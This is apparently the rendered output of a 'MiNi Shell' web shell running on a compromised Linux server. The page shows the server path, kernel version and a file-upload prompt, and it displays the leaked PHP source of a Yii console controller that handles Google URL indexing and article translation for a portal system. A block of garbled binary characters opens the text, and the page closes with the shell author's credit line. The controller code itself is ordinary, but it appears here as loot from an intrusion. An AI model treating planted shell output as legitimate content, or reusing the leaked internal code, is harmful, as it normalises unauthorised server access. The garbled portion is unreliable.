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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/GoogleservicesController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use common\models\GoogleIndexingUrls;
use common\models\GoogleInspectUrls;
use common\models\types\GoogleIndexingUrlType;
use common\models\GoogleTranslations;
use common\models\GoogleTranslateLimits;
use common\models\ConsoleScriptsSettings;
use yii\console\ExitCode;

class GoogleservicesController extends Controller
{       
    public $limit;
    public $orExcludeJobOffers; 
    
    protected $idsMainPortalsMap = [];
    
    private $cpvCodesByPortals = [];
    
    public function options($actionID)
    {
        switch($actionID) {
            case 'urls-for-indexing':
                return ['limit', 'orExcludeJobOffers'];
            case 'urls-for-inspect':
                return ['limit', 'orExcludeJobOffers'];
            case 'items-to-translate':
                return ['limit'];
            default:
                return [];
        }
    }
    
    public function actionUrlsForIndexing()
    {
        $limit = !empty($this->limit) ? $this->limit : 200;
        $orExcludeJobOffers = intval($this->orExcludeJobOffers) === 1 ? true : false;
        
        $dateString = (new \DateTime())->modify('+1 day')->format('Y-m-d'). ' 23:59:59';
        $date = new \DateTime($dateString);        
        
        $query = GoogleIndexingUrls::find()
                ->where([
                    'created_at' => ['$lt' => new \MongoDB\BSON\UTCDateTime($date->getTimestamp()*1000)]
                ])
                ->orderBy('created_at ASC')
                ->limit($limit);

        if($orExcludeJobOffers) {
            $query->andWhere([
                'source_type' => ['$ne' => GoogleIndexingUrlType::TYPE_JOB_OFFER]
            ]);
        }
        
        $models = $query->all();
        
        if(empty($models)) {
//            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }  
        
        //@todo to chyba można usunąć...
//        $idsPortalsMap = [];
//        $portals = \common\models\Portals::find()
//                ->select(['id_portal', 'id_parent_portal'])
//                ->asArray()
//                ->all();
//        foreach($portals as $portal) {
//            $idsPortalsMap[$portal['id_portal']] = !empty($portal['id_parent_portal']) ? $portal['id_parent_portal'] : $portal['id_portal'];
//        }
        
        $this->fillCpvCodesByPortals();
        
        foreach($models as $model) {
            if(!empty($model->source_id) && !empty($model->source_type)) {
                if(!empty($model->source_id) && !empty($model->source_type)) {
                    $orCanExecute = $this->checkIfCanExecute($model->source_type, $model->source_id, $model->id_portal, $model->url);
                } else {
                    $orCanExecute = true;
                }
//                switch($model->source_type) {
//                    case GoogleIndexingUrlType::TYPE_ARTICLE: 
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['articles.id_article'])
//                            ->from('articles')
//                            ->join('INNER JOIN', 'articles_has_portals', 'articles_has_portals.id_article = articles.id_article')
//                            ->where([
//                                'articles.id_article' => intval($model->source_id),
//                                'articles.status' => \common\models\types\Status::ACTIVE,
//                                'articles_has_portals.id_portal' => intval($model->id_portal)
//                            ])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_PRODUCT:
//                        $idPortal = $idsPortalsMap[intval($model->id_portal)];
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['products.id_product'])
//                            ->from('products')
//                            ->join('INNER JOIN', 'products_has_products_categories', 'products_has_products_categories.id_product = products.id_product')
//                            ->join('INNER JOIN', 'products_categories', 'products_categories.id_category = products_has_products_categories.id_category')                            
//                            ->where([
//                                'products.id_product' => intval($model->source_id),
//                                'products.status' => \common\models\types\Status::ACTIVE,
//                                'products_categories.id_portal' => $idPortal
//                            ])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_ADVERTISEMENT:
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['advertisements.id_advertisement'])
//                            ->from('advertisements')                          
//                            ->where([
//                                'advertisements.id_advertisement' => intval($model->source_id),
//                                'advertisements.status' => \common\models\types\AdvertisementStatus::ACTIVE,
//                                'advertisements.id_portal' => intval($model->id_portal)
//                            ])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_JOB_OFFER:
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['job_offers.id_offer'])
//                            ->from('job_offers')
//                            ->join('INNER JOIN', 'job_offers_has_job_offers_categories', 'job_offers_has_job_offers_categories.id_offer = job_offers.id_offer')
//                            ->join('INNER JOIN', 'job_offers_categories', 'job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
//                            ->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
//                            ->where([
//                                'job_offers.id_offer' => intval($model->source_id),
//                                'portals_has_job_offers_categories.id_portal' => intval($model->id_portal),
//                                'job_offers_categories.status' => \common\models\types\Status::ACTIVE,
//                                'job_offers.status' => \common\models\types\Status::ACTIVE
//                            ])
//                            ->andWhere(['>=', 'job_offers.publication_end_date', date('Y-m-d')])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_TRAINING: 
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['trainings.id_training'])
//                            ->from('trainings')
//                            ->join('INNER JOIN', 'trainings_has_portals', 'trainings_has_portals.id_training = trainings.id_training')
//                            ->where([
//                                'trainings.id_training' => intval($model->source_id),
//                                'trainings_has_portals.id_portal' => intval($model->id_portal),
//                                'trainings.status' => \common\models\types\Status::ACTIVE
//                            ])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_FAIRS: 
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['fairs.id_fair'])
//                            ->from('fairs')
//                            ->join('INNER JOIN', 'fairs_series_has_portals', 'fairs_series_has_portals.id_series = fairs.id_series')
//                            ->where([
//                                'fairs.id_fair' => intval($model->source_id),
//                                'fairs_series_has_portals.id_portal' => intval($model->id_portal),
//                                'fairs.status' => \common\models\types\Status::ACTIVE
//                            ])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_BOOK: 
//                        $orCanExecute = (new \yii\db\Query())
//                            ->select(['books.id_book'])
//                            ->from('books')
//                            ->join('INNER JOIN', 'books_has_bookstore_categories', 'books_has_bookstore_categories.id_book = books.id_book')
//                            ->join('INNER JOIN', 'portals_has_bookstore_categories', 'portals_has_bookstore_categories.id_category = books_has_bookstore_categories.id_category')
//                            ->where([
//                                'books.id_book' => intval($model->source_id),
//                                'portals_has_bookstore_categories.id_portal' => intval($model->id_portal)
//                            ])
//                            ->exists();
//                        break;
//                    case GoogleIndexingUrlType::TYPE_COMPANY_PRESENTATION:                         
//                        $actionsNamesToIdsPresentationsTabsMap = [
//                            'dane-kontaktowe' => \common\models\PresentationsTabs::TAB_CONTACT_DATA,
//                            'branze-i-zasieg' => \common\models\PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE,
//                            'do-pobrania' => \common\models\PresentationsTabs::TAB_DOWNLOAD,
//                            'galerie' => \common\models\PresentationsTabs::TAB_PHOTO_GALLERIES,
//                            'o-firmie' => \common\models\PresentationsTabs::TAB_ABOUT_COMPANY,
//                            'oddzialy' => \common\models\PresentationsTabs::TAB_BRANCHES,
//                            'oferta' => \common\models\PresentationsTabs::TAB_OFFER,
//                            'produkty-i-uslugi' => \common\models\PresentationsTabs::TAB_PRODUCTS_AND_SERVICES,
//                            'publikacje' => \common\models\PresentationsTabs::TAB_PUBLICATIONS,
//                            'referencje-i-nagrody' => \common\models\PresentationsTabs::TAB_REFERENCES_AND_AWARDS,
//                            'szkolenia' => \common\models\PresentationsTabs::TAB_TRAININGS,
//                            'video' => \common\models\PresentationsTabs::TAB_VIDEO_GALLERIES
//                        ];
//                        
//                        $matches = [];
//                        preg_match('|firmy/([a-z\-]+)/'.$model->source_id.'|', $model->url, $matches);
//                        
//                        if(!empty($matches[1]) && !empty($actionsNamesToIdsPresentationsTabsMap[$matches[1]])) {                    
//                            $orCanExecute = (new \yii\db\Query())
//                                ->select(['companies_presentations_tabs.id_company_tab'])
//                                ->from('companies_presentations_tabs')
//                                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation')
//                                ->where([
//                                    'companies_presentations_tabs.id_tab' => $actionsNamesToIdsPresentationsTabsMap[$matches[1]],
//                                    'companies_presentations_tabs.id_presentation' => intval($model->source_id),
//                                    'companies_presentations.id_portal' => intval($model->id_portal),
//                                    'companies_presentations.status' => \common\models\types\Status::ACTIVE,
//                                    'companies_presentations_tabs.status' => \common\models\types\Status::ACTIVE,
//                                    'companies_presentations_tabs.or_empty' => 0
//                                ])
//                                ->exists();
//                        } else {
//                            $orCanExecute = false;
//                        }                        
//                        break;
//                    default: 
//                        $orCanExecute = false;
//                        break;
//                }
            } else {
                $orCanExecute = true;
            }
            
//            var_dump($model->url.' - '.($orCanExecute ? 'OK' : 'FAIL'));
//            continue;

            if($orCanExecute) {
                $flag = Yii::$app->googleIndexer->reportNewUrl($model->url);
                if($flag === true) {
//                    var_dump('ok');
                    $model->delete();
                } else {
                    $errorDetails = Yii::$app->googleIndexer->getError();
                    if($errorDetails['code'] === 429) {
                        $this->stdout('Exhausted limit.');
                            return ExitCode::UNAVAILABLE;
                    } else {
                        $this->stderr('Unknown error for url: '.$model->url);
                        return ExitCode::DATAERR;
                    }                  
//                    var_dump('fail');                    
                }
            } else {
                $model->delete();
            } 
            
        }
        
        return ExitCode::OK;
    }
    
    public function actionUrlsForIndexingManual()
    {
        $limit = 200;       
        
        $query = GoogleIndexingUrls::find()->orderBy('created_at ASC')->limit($limit);
        
        $models = $query->all();
        
        if(empty($models)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }  
        
//        $idsPortalsMap = [];
//        $portals = \common\models\Portals::find()
//                ->select(['id_portal', 'id_parent_portal'])
//                ->asArray()
//                ->all();
//        foreach($portals as $portal) {
//            $idsPortalsMap[$portal['id_portal']] = !empty($portal['id_parent_portal']) ? $portal['id_parent_portal'] : $portal['id_portal'];
//        }
        
        for ($i = 0; $i < count($models); $i++) {
            $model = $models[$i];        
//            $this->stdout('Zglaszamy: '.$model->url."\n");
            
            $flag = Yii::$app->googleIndexer->reportNewUrl($model->url);
            if($flag === true) {
                $model->delete();
                $this->stdout($model->url."\n");
            } else {
                $errorDetails = Yii::$app->googleIndexer->getError();
                if($errorDetails['code'] === 429) {
                    $orCanSwitchAccount = Yii::$app->googleIndexer->switchGoogleClientAccount();
                    if($orCanSwitchAccount) {
                        $this->stdout("\n\n Zmieniono konto google na kolejne \n\n");
                        $i--;
                    } else {
                        $this->stdout('Exhausted limit on all accounts.');
                        return ExitCode::UNAVAILABLE;
                    }
                } else {
                    var_dump($errorDetails, Yii::$app->googleIndexer->getAcctualConfigFile());
                    $this->stderr('Unknown error for url: '.$model->url);
                    return ExitCode::DATAERR;
                }                  
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionItemsToTranslate()
    {
        $consoleScriptSettings = ConsoleScriptsSettings::findOne(ConsoleScriptsSettings::KEY_GOOGLE_TRANSLATE);
        if(empty($consoleScriptSettings)) {
            $this->stderr('Brak ustawien dla wybranej funkcjonalności.');
            return ExitCode::CONFIG;
        }
        
        if(intval($consoleScriptSettings->getSettingsKey('enabled')) === 0) {
            return ExitCode::OK;
        }
        
        $modelTranslateLimit = GoogleTranslateLimits::getEntry(time()); 
        
        if ($modelTranslateLimit->remaining_limit < 1000) {
            $this->stdout('Exhausted limit.');
            return ExitCode::UNAVAILABLE;
        }
        
        $limit = !empty($this->limit) ? $this->limit : 100;
        
        $dateString = (new \DateTime())->modify('+1 day')->format('Y-m-d'). ' 23:59:59';
        $date = new \DateTime($dateString);        
        
        $query = GoogleTranslations::find()
                ->where([
                    'created_at' => ['$lt' => new \MongoDB\BSON\UTCDateTime($date->getTimestamp()*1000)]
                ])
                ->orderBy('created_at ASC')
                ->limit($limit);
        
        $models = $query->all();
        
        if(empty($models)) {
            if(intval($consoleScriptSettings->getSettingsKey('notification_about_no_task')) === 1) {
                $this->stdout('Brak danych do przetworzenia.');
            }
            return ExitCode::OK;
        }
        
        $timestamp = time();
        $counter = 0;
        foreach($models as $model) {
            if($model->source_type === GoogleTranslations::TYPE_ARTICLE) {
                $modelArticle = \common\models\Articles::find()
                    ->with(['tags'])
                    ->where([
                        'articles.id_article' => intval($model->source_id),
                        'articles.status' => \common\models\types\Status::ACTIVE,
                    ])
                    ->one();

                if (empty($modelArticle)) {
                    $model->delete();
                    continue;
                }

//                $input = [
//                    $modelArticle->title,
//                    $modelArticle->lead,
//                    $modelArticle->content
//                ];
//
//                if (!empty($modelArticle->tags)) {
//                    foreach ($modelArticle->tags as $modelTag) {
//                        $input[] = $modelTag->name;
//                    }
//                }   
                
                $input = $modelArticle->getDataForTranslate();

                $numberOfCharsToTranslation = array_reduce($input, function($total, $current) { return $total + mb_strlen($current); }, 0);                    
                if ($numberOfCharsToTranslation > $modelTranslateLimit->remaining_limit) {
                    continue;
                }

                $results = Yii::$app->googleTranslator->translate($input, $model->language);
                
                $modelTranslateLimit->remaining_limit -= $numberOfCharsToTranslation;
                $modelTranslateLimit->save();

//                $modelTranslation = \common\models\ArticlesTranslations::find()
//                        ->where([
//                            'id_article' => $modelArticle->id_article,
//                            'id_language' => $model->language
//                        ])
//                        ->one();
//                if ($modelTranslation) {
//                    $modelTranslation->setScenario('update');
//                } else {
//                    $modelTranslation = new \common\models\ArticlesTranslations(['scenario' => 'create']);
//                }
//                $modelTranslation->title = $results[0]['text'];
//                $modelTranslation->lead = $results[1]['text'];
//                $modelTranslation->content = $results[2]['text'];
//                $modelTranslation->tags = implode(', ', array_map(function($value) { return $value['text']; }, array_slice($results, 3)));

                $flag = $modelArticle->saveTranslationData($results, $model->language);
                
//                if ($modelTranslation->save()) {
                if ($flag === true) {
                    $model->delete();                    
                    \common\models\Articles::updateAll(['updated_at' => date('Y-m-d H:i:s', $timestamp + $counter)], ['id_article' => $modelArticle->id_article]);
                    $counter++;
                } else {
                    $this->stderr('Unknown error for article: #'.$model->source_id.', language: '.$model->language);
                    $model->delete();
                    
                    return ExitCode::DATAERR;
                }   
                    
            } else {
                $model->delete();
            }
        }
        
        return ExitCode::OK;
    }
    
    public function actionUrlsForInspect($idPortal)
    {
        $limit = !empty($this->limit) ? (int)$this->limit : 3;
        $idPortal = intval($idPortal);
        $orExcludeJobOffers = intval($this->orExcludeJobOffers) === 1 ? true : false;       
        
        $query = GoogleInspectUrls::find()
                ->where([
                    'execution_at' => ['$lt' => new \MongoDB\BSON\UTCDateTime()],
                    'id_portal' => $idPortal
                ])
                ->orderBy('execution_at ASC')
                ->limit($limit);

        if($orExcludeJobOffers) {
            $query->andWhere([
                'source_type' => ['$ne' => GoogleInspectUrls::TYPE_JOB_OFFER]
            ]);
        }
        
        $models = $query->all();
        
        if(empty($models)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        foreach($models as $model) {            
            //@todo proteza
//            $model->url = str_replace('http://', 'https://', $model->url);
            
            if(!empty($model->source_id) && !empty($model->source_type)) {
                $orCanExecute = $this->checkIfCanExecute($model->source_type, $model->source_id, $model->id_portal, $model->url);
            } else {
                $orCanExecute = true;
            }
//            var_dump($model->url.' - '.($orCanExecute ? 'OK' : 'FAIL'));
//            exit;

            if($orCanExecute) {
                $flag = Yii::$app->googleIndexer->checkUrlIndexingStatus($model->url);
                if($flag === true) {
                    $model->delete();
                } else {
                    $error = Yii::$app->googleIndexer->getError();
                    if(!empty($error)) {
                        $this->stderr('Blad #'.$error['code'].': '.$error['message']);
                        return ExitCode::UNSPECIFIED_ERROR;
                    }
                    
                    if($model->or_submitted) {                        
                        $lukaszEmail = \common\models\Users::find()
                                    ->select(['users_contact_data.data_value'])
                                    ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                                    ->where([
                                        'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                                        'users_contact_data.required' => 1,
                                        'users.login' => 'vm_lukasz'
                                    ])
                                    ->scalar();
                        
                        //wysyłamy email z powiadomieniem o problemie z zaindeksowaniem adresu url (###MAIL_86###)
                        $mailer = Yii::$app->mailer;
                        $mailer->htmlLayout = false;      
                        $mailer->textLayout = false; 

                        $flag = $mailer->compose(
                                    [
                                        'html' => 'notify_about_issues_with_indexing_url_html',
                                        'text' => 'notify_about_issues_with_indexing_url_text'
                                    ],
                                    [
                                        'model' => $model
                                    ]
                                )
                                ->setTo($lukaszEmail)
                                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                                ->setSubject(Yii::t('common-mails', 'Adres URL [{url}] – nie został zaindeksowany', ['url' => $model->url])) 
                                ->send();
                        if($flag) {
                            $model->delete();
                        }
                        
                    } else {
                        $orExistGoogleIndexingUrl = GoogleIndexingUrls::find()
                                ->where([
                                    'url' => $model->url,
                                    'id_portal' => intval($model->id_portal),
                                    'source_type' => $model->source_type,
                                    'source_id' => (string)$model->source_id
                                ])
                                ->exists();
                        if(!$orExistGoogleIndexingUrl) {
                            $flag = GoogleIndexingUrls::addEntry($model->url, $model->id_portal, $model->source_type, $model->source_id);
                        }
                        
                        $model->execution_at = new \MongoDB\BSON\UTCDateTime((new \DateTime())->modify('+3 days'));
                        $model->or_submitted = true;
                        $model->save();
                    }                   
                }
            } else {
                $model->delete();
            }            
            
        }
        
        return ExitCode::OK;
    }
    
    public function actionFillGoogleInspectUrlsCollectionForArticles()
    {
        GoogleInspectUrls::deleteAll(['source_type' => GoogleIndexingUrlType::TYPE_ARTICLE]);
        
        $portalsDomains = [];
        $modelsPortals = \common\models\Portals::find()->all();
        foreach($modelsPortals as $modelPortal) {
            $webProtocol = $modelPortal->getSettingsKey('or_ssl') === 1 ? 'https' : 'http';
            $portalsDomains[$modelPortal->id_portal] = $webProtocol.'://www.'.$modelPortal->domain;
        }
        unset($modelsPortals);
        
        $executionAt = new \MongoDB\BSON\UTCDateTime();
        
        $sql = "SELECT a.id_article, a.title, string_agg(ahp.id_portal::varchar, ',') AS ids_portals FROM articles a, articles_has_portals ahp, portals p WHERE a.id_article = ahp.id_article AND ahp.id_portal = p.id_portal AND p.status = 'aktywny' GROUP BY a.id_article";        
        $articles = Yii::$app->db->createCommand($sql)->queryAll();
        foreach($articles as $article) {
            $idsPortals = explode(',', $article['ids_portals']);
            foreach($idsPortals as $idPortal) {
                $idPortal = intval($idPortal);
                $url = $portalsDomains[$idPortal].'/artykuly/szczegoly/'.$article['id_article'].'_'.\frontend\components\helpers\SlugGenerator::generate($article['title']);
                
                try {
                    Yii::$app->mongodb->getCollection(GoogleInspectUrls::collectionName())->save([
                        'source_type' => GoogleIndexingUrlType::TYPE_ARTICLE,
                        'source_id' => (string)$article['id_article'],
                        'id_portal' => $idPortal,
                        'or_submited' => false,
                        'url' => $url,
                        'execution_at' => $executionAt
                    ]);
                } catch(\yii\db\Exception $e) {
                    $this->stderr($e->getMessage());
                    return Controller::EXIT_CODE_ERROR;
                }
                
//                GoogleInspectUrls::addEntry($url, $idPortal, GoogleIndexingUrlType::TYPE_ARTICLE, (string)$article['id_article']);
            }
        }
        
        $this->stdout('Koniec');
        
        return ExitCode::OK;
    }
    
    protected function getIdsPortalsMap()
    {
        if(empty($this->idsMainPortalsMap)) {
            $portals = \common\models\Portals::find()
                    ->select(['id_portal', 'id_parent_portal'])
                    ->asArray()
                    ->all();
            foreach($portals as $portal) {
                $this->idsMainPortalsMap[$portal['id_portal']] = !empty($portal['id_parent_portal']) ? $portal['id_parent_portal'] : $portal['id_portal'];
            }
        }
        
        return $this->idsMainPortalsMap;
    }
    
    protected function checkIfCanExecute($sourceType, $sourceId, $idPortal, $url)
    {
        switch($sourceType) {
            case GoogleIndexingUrlType::TYPE_ARTICLE: 
                $orCanExecute = (new \yii\db\Query())
                    ->select(['articles.id_article'])
                    ->from('articles')
                    ->join('INNER JOIN', 'articles_has_portals', 'articles_has_portals.id_article = articles.id_article')
                    ->where([
                        'articles.id_article' => intval($sourceId),
                        'articles.status' => \common\models\types\Status::ACTIVE,
                        'articles_has_portals.id_portal' => intval($idPortal)
                    ])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_PRODUCT:
                $idPortal = $this->getIdsPortalsMap()[intval($idPortal)];
                $orCanExecute = (new \yii\db\Query())
                    ->select(['products.id_product'])
                    ->from('products')
                    ->join('INNER JOIN', 'products_has_products_categories', 'products_has_products_categories.id_product = products.id_product')
                    ->join('INNER JOIN', 'products_categories', 'products_categories.id_category = products_has_products_categories.id_category')                            
                    ->where([
                        'products.id_product' => intval($sourceId),
                        'products.status' => \common\models\types\Status::ACTIVE,
                        'products_categories.id_portal' => $idPortal
                    ])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_ADVERTISEMENT:
                $orCanExecute = (new \yii\db\Query())
                    ->select(['advertisements.id_advertisement'])
                    ->from('advertisements')                          
                    ->where([
                        'advertisements.id_advertisement' => intval($sourceId),
                        'advertisements.status' => \common\models\types\AdvertisementStatus::ACTIVE,
                        'advertisements.id_portal' => intval($idPortal)
                    ])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_JOB_OFFER:
                $orCanExecute = (new \yii\db\Query())
                    ->select(['job_offers.id_offer'])
                    ->from('job_offers')
                    ->join('INNER JOIN', 'job_offers_has_job_offers_categories', 'job_offers_has_job_offers_categories.id_offer = job_offers.id_offer')
                    ->join('INNER JOIN', 'job_offers_categories', 'job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
                    ->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
                    ->where([
                        'job_offers.id_offer' => intval($sourceId),
                        'portals_has_job_offers_categories.id_portal' => intval($idPortal),
                        'job_offers_categories.status' => \common\models\types\Status::ACTIVE,
                        'job_offers.status' => \common\models\types\Status::ACTIVE
                    ])
                    ->andWhere(['>=', 'job_offers.publication_end_date', date('Y-m-d')])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_TRAINING: 
                $orCanExecute = (new \yii\db\Query())
                    ->select(['trainings.id_training'])
                    ->from('trainings')
                    ->join('INNER JOIN', 'trainings_has_portals', 'trainings_has_portals.id_training = trainings.id_training')
                    ->where([
                        'trainings.id_training' => intval($sourceId),
                        'trainings_has_portals.id_portal' => intval($idPortal),
                        'trainings.status' => \common\models\types\Status::ACTIVE
                    ])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_FAIRS: 
                $orCanExecute = (new \yii\db\Query())
                    ->select(['fairs.id_fair'])
                    ->from('fairs')
                    ->join('INNER JOIN', 'fairs_series_has_portals', 'fairs_series_has_portals.id_series = fairs.id_series')
                    ->where([
                        'fairs.id_fair' => intval($sourceId),
                        'fairs_series_has_portals.id_portal' => intval($idPortal),
                        'fairs.status' => \common\models\types\Status::ACTIVE
                    ])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_BOOK: 
                $orCanExecute = (new \yii\db\Query())
                    ->select(['books.id_book'])
                    ->from('books')
                    ->join('INNER JOIN', 'books_has_bookstore_categories', 'books_has_bookstore_categories.id_book = books.id_book')
                    ->join('INNER JOIN', 'portals_has_bookstore_categories', 'portals_has_bookstore_categories.id_category = books_has_bookstore_categories.id_category')
                    ->where([
                        'books.id_book' => intval($sourceId),
                        'portals_has_bookstore_categories.id_portal' => intval($idPortal)
                    ])
                    ->exists();
                break;
            case GoogleIndexingUrlType::TYPE_COMPANY_PRESENTATION:                         
                $actionsNamesToIdsPresentationsTabsMap = [
                    'dane-kontaktowe' => \common\models\PresentationsTabs::TAB_CONTACT_DATA,
                    'branze-i-zasieg' => \common\models\PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE,
                    'do-pobrania' => \common\models\PresentationsTabs::TAB_DOWNLOAD,
                    'galerie' => \common\models\PresentationsTabs::TAB_PHOTO_GALLERIES,
                    'o-firmie' => \common\models\PresentationsTabs::TAB_ABOUT_COMPANY,
                    'oddzialy' => \common\models\PresentationsTabs::TAB_BRANCHES,
                    'oferta' => \common\models\PresentationsTabs::TAB_OFFER,
                    'produkty-i-uslugi' => \common\models\PresentationsTabs::TAB_PRODUCTS_AND_SERVICES,
                    'publikacje' => \common\models\PresentationsTabs::TAB_PUBLICATIONS,
                    'referencje-i-nagrody' => \common\models\PresentationsTabs::TAB_REFERENCES_AND_AWARDS,
                    'szkolenia' => \common\models\PresentationsTabs::TAB_TRAININGS,
                    'video' => \common\models\PresentationsTabs::TAB_VIDEO_GALLERIES
                ];

                $matches = [];
                preg_match('|firmy/([a-z\-]+)/'.$sourceId.'|', $url, $matches);

                if(!empty($matches[1]) && !empty($actionsNamesToIdsPresentationsTabsMap[$matches[1]])) {                    
                    $orCanExecute = (new \yii\db\Query())
                        ->select(['companies_presentations_tabs.id_company_tab'])
                        ->from('companies_presentations_tabs')
                        ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation')
                        ->where([
                            'companies_presentations_tabs.id_tab' => $actionsNamesToIdsPresentationsTabsMap[$matches[1]],
                            'companies_presentations_tabs.id_presentation' => intval($sourceId),
                            'companies_presentations.id_portal' => intval($idPortal),
                            'companies_presentations.status' => \common\models\types\Status::ACTIVE,
                            'companies_presentations_tabs.status' => \common\models\types\Status::ACTIVE,
                            'companies_presentations_tabs.or_empty' => 0
                        ])
                        ->exists();
                } else {
                    $orCanExecute = false;
                }                        
                break;
            case GoogleIndexingUrlType::TYPE_TENDER:
                $orCanExecute = (new \yii\mongodb\Query())->from('tenders')
                    ->where(['_id' => (string)$sourceId])
                    ->andWhere(['or', ['numercpv' => $this->cpvCodesByPortals[intval($idPortal)]], ['numercpv2' => $this->cpvCodesByPortals[intval($idPortal)]]])
                    ->andWhere(['or', ['or_hidden_by_inquiry' => 0], ['$exists', 'or_hidden_by_inquiry', false]])
                    ->exists();
                break;
            default: 
                $orCanExecute = false;
                break;
        }
        
        return $orCanExecute;
    }
    
    protected function fillCpvCodesByPortals()
    {
        $portalsHasCpvs = \common\models\PortalsHasTendersCpv::find()->all();
        if(!empty($portalsHasCpvs)) {
            foreach($portalsHasCpvs as $portalHasCpv) {
                $this->cpvCodesByPortals[$portalHasCpv['id_portal']][] = substr(trim($portalHasCpv['cpv']), 0, 8);
            }
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com